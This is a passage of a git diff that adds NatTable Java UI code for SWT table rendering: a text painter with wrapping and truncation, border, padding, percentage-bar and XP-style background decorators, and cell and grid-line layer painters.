+} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/PercentageBarCellPainter.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/PercentageBarCellPainter.java new file mode 100644 index 0000000..7284f66 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/PercentageBarCellPainter.java @@ -0,0 +1,14 @@ +package net.sourceforge.nattable.painter.cell; + +import net.sourceforge.nattable.painter.cell.decorator.LineBorderDecorator; +import net.sourceforge.nattable.painter.cell.decorator.PaddingDecorator; +import net.sourceforge.nattable.painter.cell.decorator.PercentageBarDecorator; +import net.sourceforge.nattable.style.BorderStyle; + +public class PercentageBarCellPainter extends CellPainterWrapper { + + public PercentageBarCellPainter() { + super(new PaddingDecorator(new LineBorderDecorator(new PercentageBarDecorator(new TextPainter()), new BorderStyle()))); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/TextPainter.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/TextPainter.java new file mode 100644 index 0000000..0d6dc20 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/TextPainter.java @@ -0,0 +1,219 @@ +package net.sourceforge.nattable.painter.cell; + +import java.util.Map; +import java.util.WeakHashMap; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import net.sourceforge.nattable.config.CellConfigAttributes; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.data.convert.IDisplayConverter; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.style.CellStyleAttributes; +import net.sourceforge.nattable.style.CellStyleUtil; +import net.sourceforge.nattable.style.IStyle; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.FontData; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Rectangle; + +public class TextPainter extends BackgroundPainter { + + private static final Pattern endOfPreviousWordPattern = Pattern.compile("\\S\\s+\\S+\\s*$"); + + public static final String EMPTY = ""; + public static final String DOT = "..."; + + private static Map temporaryMap = new WeakHashMap(); + private static Map fontDataCache = new WeakHashMap(); + + private final boolean wrapText; + private final boolean paintBg; + + public TextPainter() { + this(false, true); + } + + /** + * @param wrapText split text over multiple lines + * @param paintBg skips painting the background if is FALSE + */ + public TextPainter(boolean wrapText, boolean paintBg) { + this.wrapText = wrapText; + this.paintBg = paintBg; + } + + @Override + public int getPreferredWidth(LayerCell cell, GC gc, IConfigRegistry configRegistry){ + setupGCFromConfig(gc, CellStyleUtil.getCellStyle(cell, configRegistry)); + return getWidthFromCache(gc, convertDataType(cell, configRegistry)); + } + + @Override + public int getPreferredHeight(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + setupGCFromConfig(gc, CellStyleUtil.getCellStyle(cell, configRegistry)); + return gc.textExtent(convertDataType(cell, configRegistry)).y; + } + + /** + * Convert the data value of the cell using the {@link IDisplayConverter} from the {@link IConfigRegistry} + */ + protected String convertDataType(LayerCell cell, IConfigRegistry configRegistry) { + IDisplayConverter displayConverter = configRegistry.getConfigAttribute(CellConfigAttributes.DISPLAY_CONVERTER, cell.getDisplayMode(), cell.getConfigLabels().getLabels()); + String text = displayConverter != null ? (String) displayConverter.canonicalToDisplayValue(cell.getDataValue()) : null; + text = (text == null) ? "" : text; + return text; + } + + public void setupGCFromConfig(GC gc, IStyle cellStyle) { + Color fg = cellStyle.getAttributeValue(CellStyleAttributes.FOREGROUND_COLOR); + Color bg = cellStyle.getAttributeValue(CellStyleAttributes.BACKGROUND_COLOR); + Font font = cellStyle.getAttributeValue(CellStyleAttributes.FONT); + + gc.setAntialias(GUIHelper.DEFAULT_ANTIALIAS); + gc.setTextAntialias(GUIHelper.DEFAULT_TEXT_ANTIALIAS); + gc.setFont(font); + gc.setForeground(fg != null ? fg : GUIHelper.COLOR_LIST_FOREGROUND); + gc.setBackground(bg != null ? bg : GUIHelper.COLOR_LIST_BACKGROUND); + } + + @Override + public void paintCell(LayerCell cell, GC gc, Rectangle rectangle, IConfigRegistry configRegistry) { + if (paintBg) { + super.paintCell(cell, gc, rectangle, configRegistry); + } + + Rectangle originalClipping = gc.getClipping(); + gc.setClipping(rectangle.intersection(originalClipping)); + + IStyle cellStyle = CellStyleUtil.getCellStyle(cell, configRegistry); + setupGCFromConfig(gc, cellStyle); + String text = convertDataType(cell, configRegistry); + + // Draw Text + String originalText = text; + int originalTextWidth = getWidthFromCache(gc, originalText); + text = getAvailableTextToDisplay(gc, rectangle, text); + + int contentWidth = Math.min(originalTextWidth, rectangle.width); + + int fontHeight = gc.getFontMetrics().getHeight(); + int contentHeight = fontHeight * getNumberOfNewLines(text); + + gc.drawText( + text, + rectangle.x + CellStyleUtil.getHorizontalAlignmentPadding(cellStyle, rectangle, contentWidth), + rectangle.y + CellStyleUtil.getVerticalAlignmentPadding(cellStyle, rectangle, contentHeight), + true + ); + + gc.setClipping(originalClipping); + } + + private int getNumberOfNewLines(String text) { + char[] charArray = text.toCharArray(); + int lineCount = 1; + for (char c : charArray) { + if (c == '\n') { + lineCount++; + } + } + + return lineCount; + } + + private int getWidthFromCache(GC gc, String text) { + String originalString = text; + StringBuilder buffer = new StringBuilder(); + buffer.append(text); + if (gc.getFont() != null) { + FontData[] datas = fontDataCache.get(gc.getFont()); + if (datas == null) { + datas = gc.getFont().getFontData(); + fontDataCache.put(gc.getFont(), datas); + } + if (datas != null && datas.length > 0) { + buffer.append(datas[0].getName()); + buffer.append(","); + buffer.append(datas[0].getHeight()); + buffer.append(","); + buffer.append(datas[0].getStyle()); + } + } + text = buffer.toString(); + Integer width = temporaryMap.get(text); + if (width == null) { + width = Integer.valueOf(gc.textExtent(originalString).x); + temporaryMap.put(text, width); + } + + return width.intValue(); + } + + private String getAvailableTextToDisplay(GC gc, Rectangle bounds, String text) { + StringBuilder output = new StringBuilder(); + + text = text.trim(); + + while (text.length() > 0) { + String line; + int nextLineBreakIndex; + + int indexOfNewline = text.indexOf('\n'); + if (indexOfNewline > 0) { + nextLineBreakIndex = indexOfNewline; + line = text.substring(0, nextLineBreakIndex); + } else { + nextLineBreakIndex = -1; + line = text; + } + + int textWidth = getWidthFromCache(gc, line); + + if (wrapText) { + while (textWidth > bounds.width + 1) { + Matcher matcher = endOfPreviousWordPattern.matcher(line); + if (matcher.find()) { + nextLineBreakIndex = matcher.start() + 1; + line = line.substring(0, nextLineBreakIndex); + textWidth = getWidthFromCache(gc, line); + } else { + nextLineBreakIndex = -1; + break; + } + } + } + + if (textWidth > bounds.width + 1) { + int textLen = line.length(); + for (int i = textLen - 1; i >= 0; i--) { + String temp = line.substring(0, i) + DOT; + textWidth = getWidthFromCache(gc, temp); + if (textWidth < bounds.width) { + line = temp; + break; + } else if (i == 0) { + line = EMPTY; + } + } + } + + output.append(line); + + if (nextLineBreakIndex > 0) { + text = text.substring(nextLineBreakIndex).trim(); + + if (text.length() > 0) { + output.append("\n"); + } + } else { + break; + } + } + + return output.toString(); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/decorator/BeveledBorderDecorator.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/decorator/BeveledBorderDecorator.java new file mode 100644 index 0000000..0bab191 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/decorator/BeveledBorderDecorator.java @@ -0,0 +1,58 @@ +package net.sourceforge.nattable.painter.cell.decorator; + +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.painter.cell.CellPainterWrapper; +import net.sourceforge.nattable.painter.cell.ICellPainter; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Rectangle; + +public class BeveledBorderDecorator extends CellPainterWrapper { + + public BeveledBorderDecorator(ICellPainter interiorPainter) { + super(interiorPainter); + } + + public int getPreferredWidth(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + return super.getPreferredWidth(cell, gc, configRegistry) + 4; + } + + public int getPreferredHeight(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + return super.getPreferredHeight(cell, gc, configRegistry) + 4; + } + + public void paintCell(LayerCell cell, GC gc, Rectangle rectangle, IConfigRegistry configRegistry) { + Rectangle interiorBounds = new Rectangle(rectangle.x + 2, rectangle.y + 2, rectangle.width - 4, rectangle.height - 4); + super.paintCell(cell, gc, interiorBounds, configRegistry); + + // Save GC settings + Color originalForeground = gc.getForeground(); + + //TODO: Need to look at the border style + + // Up + gc.setForeground(GUIHelper.COLOR_WIDGET_LIGHT_SHADOW); + gc.drawLine(rectangle.x, rectangle.y, rectangle.x + rectangle.width - 1, rectangle.y); + gc.drawLine(rectangle.x, rectangle.y, rectangle.x, rectangle.y + rectangle.height - 1); + + gc.setForeground(GUIHelper.COLOR_WIDGET_HIGHLIGHT_SHADOW); + gc.drawLine(rectangle.x + 1, rectangle.y + 1, rectangle.x + rectangle.width - 1, rectangle.y + 1); + gc.drawLine(rectangle.x + 1, rectangle.y + 1, rectangle.x + 1, rectangle.y + rectangle.height - 1); + + // Down + gc.setForeground(GUIHelper.COLOR_WIDGET_DARK_SHADOW); + gc.drawLine(rectangle.x, rectangle.y + rectangle.height - 1, rectangle.x + rectangle.width - 1, rectangle.y + rectangle.height - 1); + gc.drawLine(rectangle.x + rectangle.width - 1, rectangle.y, rectangle.x + rectangle.width - 1, rectangle.y + rectangle.height - 1); + + gc.setForeground(GUIHelper.COLOR_WIDGET_NORMAL_SHADOW); + gc.drawLine(rectangle.x, rectangle.y + rectangle.height - 2, rectangle.x + rectangle.width - 1, rectangle.y + rectangle.height - 2); + gc.drawLine(rectangle.x + rectangle.width - 2, rectangle.y, rectangle.x + rectangle.width - 2, rectangle.y + rectangle.height - 2); + + // Restore GC settings + gc.setForeground(originalForeground); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/decorator/CellPainterDecorator.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/decorator/CellPainterDecorator.java new file mode 100644 index 0000000..86b459d --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/decorator/CellPainterDecorator.java @@ -0,0 +1,52 @@ +package net.sourceforge.nattable.painter.cell.decorator; + +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.painter.cell.ICellPainter; +import net.sourceforge.nattable.ui.util.CellEdgeEnum; + +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Rectangle; + +/** + * Decorates a cell painter with another cell painter. + */ +public class CellPainterDecorator implements ICellPainter { + + private final ICellPainter baseCellPainter; + private final CellEdgeEnum cellEdge; + private final int spacing; + private final ICellPainter decoratorCellPainter; + + public CellPainterDecorator(ICellPainter baseCellPainter, CellEdgeEnum cellEdge, ICellPainter decoratorCellPainter) { + this(baseCellPainter, cellEdge, 2, decoratorCellPainter); + } + + public CellPainterDecorator(ICellPainter baseCellPainter, CellEdgeEnum cellEdge, int spacing, ICellPainter decoratorCellPainter) { + this.baseCellPainter = baseCellPainter; + this.cellEdge = cellEdge; + this.spacing = spacing; + this.decoratorCellPainter = decoratorCellPainter; + } + + public int getPreferredWidth(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + return baseCellPainter.getPreferredWidth(cell, gc, configRegistry) + spacing + decoratorCellPainter.getPreferredWidth(cell, gc, configRegistry); + } + + public int getPreferredHeight(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + return baseCellPainter.getPreferredHeight(cell, gc, configRegistry) + spacing + decoratorCellPainter.getPreferredHeight(cell, gc, configRegistry); + } + + public void paintCell(LayerCell cell, GC gc, Rectangle bounds, IConfigRegistry configRegistry) { + int x = bounds.x + (cellEdge == CellEdgeEnum.LEFT ? decoratorCellPainter.getPreferredWidth(cell, gc, configRegistry) + spacing : 0); + int y = bounds.y + (cellEdge == CellEdgeEnum.TOP ? decoratorCellPainter.getPreferredHeight(cell, gc, configRegistry) + spacing : 0); + Rectangle baseCellPainterBounds = new Rectangle(x, y, bounds.width, bounds.height).intersection(bounds); + baseCellPainter.paintCell(cell, gc, baseCellPainterBounds, configRegistry); + + x = bounds.x + (cellEdge == CellEdgeEnum.RIGHT ? bounds.width - spacing - decoratorCellPainter.getPreferredWidth(cell, gc, configRegistry) : 0); + y = bounds.y + (cellEdge == CellEdgeEnum.BOTTOM ? bounds.height - spacing - decoratorCellPainter.getPreferredHeight(cell, gc, configRegistry) : 0); + Rectangle decoratorCellPainterBounds = new Rectangle(x, y, bounds.width, bounds.height).intersection(bounds); + decoratorCellPainter.paintCell(cell, gc, decoratorCellPainterBounds, configRegistry); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/decorator/LineBorderDecorator.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/decorator/LineBorderDecorator.java new file mode 100644 index 0000000..a4a726a --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/decorator/LineBorderDecorator.java @@ -0,0 +1,104 @@ +package net.sourceforge.nattable.painter.cell.decorator; + +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Rectangle; + +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.painter.cell.CellPainterWrapper; +import net.sourceforge.nattable.painter.cell.ICellPainter; +import net.sourceforge.nattable.style.BorderStyle; +import net.sourceforge.nattable.style.CellStyleAttributes; +import net.sourceforge.nattable.style.CellStyleUtil; +import net.sourceforge.nattable.style.IStyle; +import net.sourceforge.nattable.style.BorderStyle.LineStyleEnum; + +public class LineBorderDecorator extends CellPainterWrapper { + + private final BorderStyle defaultBorderStyle; + + public LineBorderDecorator(ICellPainter interiorPainter) { + this(interiorPainter, null); + } + + public LineBorderDecorator(ICellPainter interiorPainter, BorderStyle defaultBorderStyle) { + super(interiorPainter); + this.defaultBorderStyle = defaultBorderStyle; + } + + public int getPreferredWidth(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + BorderStyle borderStyle = getBorderStyle(cell, configRegistry); + int borderThickness = borderStyle != null ? borderStyle.getThickness() : 0; + + return super.getPreferredWidth(cell, gc, configRegistry) + (borderThickness * 2); + } + + public int getPreferredHeight(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + BorderStyle borderStyle = getBorderStyle(cell, configRegistry); + int borderThickness = borderStyle != null ? borderStyle.getThickness() : 0; + + return super.getPreferredHeight(cell, gc, configRegistry) + (borderThickness * 2); + } + + private BorderStyle getBorderStyle(LayerCell cell, IConfigRegistry configRegistry) { + IStyle cellStyle = CellStyleUtil.getCellStyle(cell, configRegistry); + BorderStyle borderStyle = cellStyle.getAttributeValue(CellStyleAttributes.BORDER_STYLE); + if (borderStyle == null) { + borderStyle = defaultBorderStyle; + } + return borderStyle; + } + + public void paintCell(LayerCell cell, GC gc, Rectangle rectangle, IConfigRegistry configRegistry) { + BorderStyle borderStyle = getBorderStyle(cell, configRegistry); + int borderThickness = borderStyle != null ? borderStyle.getThickness() : 0; + + Rectangle interiorBounds = + new Rectangle( + rectangle.x + borderThickness, + rectangle.y + borderThickness, + rectangle.width - (borderThickness * 2), + rectangle.height - (borderThickness * 2) + ); + super.paintCell(cell, gc, interiorBounds, configRegistry); + + if (borderStyle == null || borderThickness <= 0) { + return; + } + + // Save GC settings + Color originalForeground = gc.getForeground(); + int originalLineWidth = gc.getLineWidth(); + int originalLineStyle = gc.getLineStyle(); + + gc.setLineWidth(borderThickness); + + Rectangle borderArea = new Rectangle(rectangle.x, rectangle.y, rectangle.width, rectangle.height); + if (borderThickness >= 1) { + int shift = 0; + int areaShift = 0; + if ((borderThickness % 2) == 0) { + shift = borderThickness / 2; + areaShift = (shift * 2); + } else { + shift = borderThickness / 2; + areaShift = (shift * 2) + 1; + } + borderArea.x += shift; + borderArea.y += shift; + borderArea.width -= areaShift; + borderArea.height -= areaShift; + } + + gc.setLineStyle(LineStyleEnum.toSWT(borderStyle.getLineStyle())); + gc.setForeground(borderStyle.getColor()); + gc.drawRectangle(borderArea); + + // Restore GC settings + gc.setForeground(originalForeground); + gc.setLineWidth(originalLineWidth); + gc.setLineStyle(originalLineStyle); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/decorator/PaddingDecorator.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/decorator/PaddingDecorator.java new file mode 100644 index 0000000..aea862b --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/decorator/PaddingDecorator.java @@ -0,0 +1,54 @@ +package net.sourceforge.nattable.painter.cell.decorator; + +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Rectangle; + +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.painter.cell.CellPainterWrapper; +import net.sourceforge.nattable.painter.cell.ICellPainter; + +public class PaddingDecorator extends CellPainterWrapper { + + private final int topPadding; + private final int rightPadding; + private final int bottomPadding; + private final int leftPadding; + + public PaddingDecorator(ICellPainter interiorPainter) { + this(interiorPainter, 2); + } + + public PaddingDecorator(ICellPainter interiorPainter, int padding) { + this(interiorPainter, padding, padding, padding, padding); + } + + public PaddingDecorator(ICellPainter interiorPainter, int topPadding, int rightPadding, int bottomPadding, int leftPadding) { + super(interiorPainter); + this.topPadding = topPadding; + this.rightPadding = rightPadding; + this.bottomPadding = bottomPadding; + this.leftPadding = leftPadding; + } + + public int getPreferredWidth(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + return leftPadding + super.getPreferredWidth(cell, gc, configRegistry) + rightPadding; + } + + public int getPreferredHeight(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + return topPadding + super.getPreferredHeight(cell, gc, configRegistry) + bottomPadding; + } + + public void paintCell(LayerCell cell, GC gc, Rectangle bounds, IConfigRegistry configRegistry) { + Rectangle interiorBounds = + new Rectangle( + bounds.x + leftPadding, + bounds.y + topPadding, + bounds.width - leftPadding - rightPadding, + bounds.height - topPadding - bottomPadding + ); + + super.paintCell(cell, gc, interiorBounds, configRegistry); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/decorator/PercentageBarDecorator.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/decorator/PercentageBarDecorator.java new file mode 100644 index 0000000..e4673d4 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/decorator/PercentageBarDecorator.java @@ -0,0 +1,45 @@ +package net.sourceforge.nattable.painter.cell.decorator; + +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.painter.cell.CellPainterWrapper; +import net.sourceforge.nattable.painter.cell.ICellPainter; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Pattern; +import org.eclipse.swt.graphics.RGB; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Display; + +/** + * Draws a rectangular bar in cell proportional to the value of the cell. + */ +public class PercentageBarDecorator extends CellPainterWrapper { + + public PercentageBarDecorator(ICellPainter interiorPainter) { + super(interiorPainter); + } + + @Override + public void paintCell(LayerCell cell, GC gc, Rectangle rectangle, IConfigRegistry configRegistry) { + Color originalBackground = gc.getBackground(); + + double factor = Math.min(1.0, ((Double) cell.getDataValue()).doubleValue()); + factor = Math.max(0.0, factor); + + Rectangle bar = new Rectangle(rectangle.x, rectangle.y, (int)(rectangle.width * factor), rectangle.height); + Rectangle bounds = cell.getBounds(); + gc.setBackgroundPattern(new Pattern(Display.getCurrent(), + bounds.x, bounds.y, bounds.x + bounds.width, bounds.y + bounds.height, + GUIHelper.getColor(new RGB(187, 216, 254)), + GUIHelper.getColor(new RGB(255, 255, 255)))); + gc.fillRectangle(bar); + + gc.setBackground(originalBackground); + + super.paintCell(cell, gc, rectangle, configRegistry); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/decorator/XPBackgroundDecorator.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/decorator/XPBackgroundDecorator.java new file mode 100644 index 0000000..1c549be --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/decorator/XPBackgroundDecorator.java @@ -0,0 +1,88 @@ +package net.sourceforge.nattable.painter.cell.decorator; + +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.painter.cell.BackgroundPainter; +import net.sourceforge.nattable.painter.cell.ICellPainter; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Rectangle; + +public class XPBackgroundDecorator extends BackgroundPainter { + + public final Color separatorColor; + + public final Color gradientColor1; + public final Color gradientColor2; + public final Color gradientColor3; + + public final Color highlightColor1; + public final Color highlightColor2; + public final Color highlightColor3; + + public XPBackgroundDecorator(ICellPainter interiorPainter) { + super(interiorPainter); + + separatorColor = GUIHelper.getColor(199, 197, 178); + + gradientColor1 = GUIHelper.getColor(226, 222, 205); + gradientColor2 = GUIHelper.getColor(214, 210, 194); + gradientColor3 = GUIHelper.getColor(203, 199, 184); + + highlightColor1 = GUIHelper.getColor(250, 171, 0); + highlightColor2 = GUIHelper.getColor(252, 194, 71); + highlightColor3 = GUIHelper.getColor(250, 178, 24); + } + + public int getPreferredWidth(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + return super.getPreferredWidth(cell, gc, configRegistry) + 4; + } + + public int getPreferredHeight(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + return super.getPreferredHeight(cell, gc, configRegistry) + 4; + } + + public void paintCell(LayerCell cell, GC gc, Rectangle rectangle, IConfigRegistry configRegistry) { + // Draw background + super.paintCell(cell, gc, rectangle, configRegistry); + + // Draw interior + Rectangle interiorBounds = new Rectangle(rectangle.x + 2, rectangle.y + 2, rectangle.width - 4, rectangle.height - 4); + super.paintCell(cell, gc, interiorBounds, configRegistry); + + // Save GC settings + Color originalBackground = gc.getBackground(); + Color originalForeground = gc.getForeground(); + + // Draw separator + int x = rectangle.x; + gc.setForeground(GUIHelper.COLOR_WHITE); + gc.drawLine(x, rectangle.y + 3, x, rectangle.y + rectangle.height - 6); + + x = rectangle.x + rectangle.width - 1; + gc.setForeground(separatorColor); + gc.drawLine(x, rectangle.y + 3, x, rectangle.y + rectangle.height - 6); + + // Restore GC settings + gc.setBackground(originalBackground); + gc.setForeground(originalForeground); + + // Draw bottom edge + boolean isHighlight = false; + + int y = rectangle.y + rectangle.height - 3; + gc.setForeground(isHighlight ? highlightColor1 : gradientColor1); + gc.drawLine(rectangle.x, y, rectangle.x + rectangle.width, y); + + y++; + gc.setForeground(isHighlight ? highlightColor2 : gradientColor2); + gc.drawLine(rectangle.x, y, rectangle.x + rectangle.width, y); + + y++; + gc.setForeground(isHighlight ? highlightColor3 : gradientColor3); + gc.drawLine(rectangle.x, y, rectangle.x + rectangle.width, y); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/layer/CellLayerPainter.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/layer/CellLayerPainter.java new file mode 100644 index 0000000..d078fdc --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/layer/CellLayerPainter.java @@ -0,0 +1,63 @@ +package net.sourceforge.nattable.painter.layer; + +import java.util.Collection; +import java.util.HashSet; + +import net.sourceforge.nattable.config.CellConfigAttributes; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.painter.cell.ICellPainter; + +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Rectangle; + +public class CellLayerPainter implements ILayerPainter { + + public void paintLayer(ILayer natLayer, GC gc, int xOffset, int yOffset, Rectangle pixelRectangle, IConfigRegistry configRegistry) { + if (pixelRectangle.width <= 0 || pixelRectangle.height <= 0) { + return; + } + + Collection spannedCells = new HashSet(); + + Rectangle positionRectangle = getPositionRectangleFromPixelRectangle(natLayer, pixelRectangle); + + for (int columnPosition = positionRectangle.x; columnPosition < positionRectangle.x + positionRectangle.width; columnPosition++) { + for (int rowPosition = positionRectangle.y; rowPosition < positionRectangle.y + positionRectangle.height; rowPosition++) { + LayerCell cell = natLayer.getCellByPosition(columnPosition, rowPosition); + if (cell != null) { + if (cell.isSpannedCell()) { + spannedCells.add(cell); + } else { + paintCell(cell, gc, configRegistry); + } + } + } + } + + for (LayerCell cell : spannedCells) { + paintCell(cell, gc, configRegistry); + } + } + + public Rectangle adjustCellBounds(Rectangle cellBounds) { + return cellBounds; + } + + protected Rectangle getPositionRectangleFromPixelRectangle(ILayer natLayer, Rectangle pixelRectangle) { + int columnPositionOffset = natLayer.getColumnPositionByX(pixelRectangle.x); + int rowPositionOffset = natLayer.getRowPositionByY(pixelRectangle.y); + int numColumns = natLayer.getColumnPositionByX(Math.min(natLayer.getWidth(), pixelRectangle.x + pixelRectangle.width) - 1) - columnPositionOffset + 1; + int numRows = natLayer.getRowPositionByY(Math.min(natLayer.getHeight(), pixelRectangle.y + pixelRectangle.height) - 1) - rowPositionOffset + 1; + + return new Rectangle(columnPositionOffset, rowPositionOffset, numColumns, numRows); + } + + protected void paintCell(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + ICellPainter cellPainter = configRegistry.getConfigAttribute(CellConfigAttributes.CELL_PAINTER, cell.getDisplayMode(), cell.getConfigLabels().getLabels()); + Rectangle adjustedCellBounds = adjustCellBounds(cell.getBounds()); + cellPainter.paintCell(cell, gc, adjustedCellBounds, configRegistry); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/layer/GridLineCellLayerPainter.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/layer/GridLineCellLayerPainter.java new file mode 100644 index 0000000..2135e76 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/layer/GridLineCellLayerPainter.java @@ -0,0 +1,56 @@ +package net.sourceforge.nattable.painter.layer; + +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Rectangle; + +public class GridLineCellLayerPainter extends CellLayerPainter { + + public void paintLayer(ILayer natLayer, GC gc, int xOffset, int yOffset, Rectangle rectangle, IConfigRegistry configRegistry) { + //Draw GridLines + drawGridLines(natLayer, gc, rectangle); + + super.paintLayer(natLayer, gc, xOffset, yOffset, rectangle, configRegistry); + } + + @Override + public Rectangle adjustCellBounds(Rectangle bounds) { + return new Rectangle(bounds.x, bounds.y, bounds.width - 1, bounds.height - 1); + } + + protected void drawGridLines(ILayer natLayer, GC gc, Rectangle rectangle) { + gc.setForeground(GUIHelper.COLOR_GRAY); + + drawHorizontalLines(natLayer, gc, rectangle); + drawVerticalLines(natLayer, gc, rectangle); + + // paint far bottom left corner pixel + gc.drawPoint(natLayer.getWidth() - 1, natLayer.getHeight() - 1); + } + + private void drawHorizontalLines(ILayer natLayer, GC gc, Rectangle rectangle) { + int gridWidth = Math.min(natLayer.getWidth() - 1, rectangle.width); + + int rowPositionByY = natLayer.getRowPositionByY(rectangle.y + rectangle.height); + int maxRowPosition = rowPositionByY > 0 ? Math.min(natLayer.getRowCount(), rowPositionByY) : natLayer.getRowCount(); + for (int rowPosition = natLayer.getRowPositionByY(rectangle.y); rowPosition < maxRowPosition; rowPosition++) { + int y = natLayer.getStartYOfRowPosition(rowPosition) + natLayer.getRowHeightByPosition(rowPosition) - 1; + gc.drawLine(rectangle.x, y, rectangle.x + gridWidth, y); + } + } + + private void drawVerticalLines(ILayer natLayer, GC gc, Rectangle rectangle) { + int gridHeight = Math.min(natLayer.getHeight() - 1, rectangle.height); + + int columnPositionByX = natLayer.getColumnPositionByX(rectangle.x + rectangle.width); + int maxColumnPosition = columnPositionByX > 0 ? Math.min(natLayer.getColumnCount(), columnPositionByX) : natLayer.getColumnCount(); + for (int columnPosition = natLayer.getColumnPositionByX(rectangle.x); columnPosition < maxColumnPosition; columnPosition++) { + int x = natLayer.getStartXOfColumnPosition(columnPosition) + natLayer.getColumnWidthByPosition(columnPosition) - 1; + gc.drawLine(x, rectangle.y, x, rectangle.y + gridHeight); + } + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/layer/ILayerPainter.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/layer/ILayerPainter.java new file mode 100644 index 0000000..f4838ea --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/layer/ILayerPainter.java @@ -0,0 +1,33 @@ +package net.sourceforge.nattable.painter.layer; + +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.ILayer; + +import org.eclipse.swt.graphics.Device; +import org.eclipse.swt.graphics.GC; +import 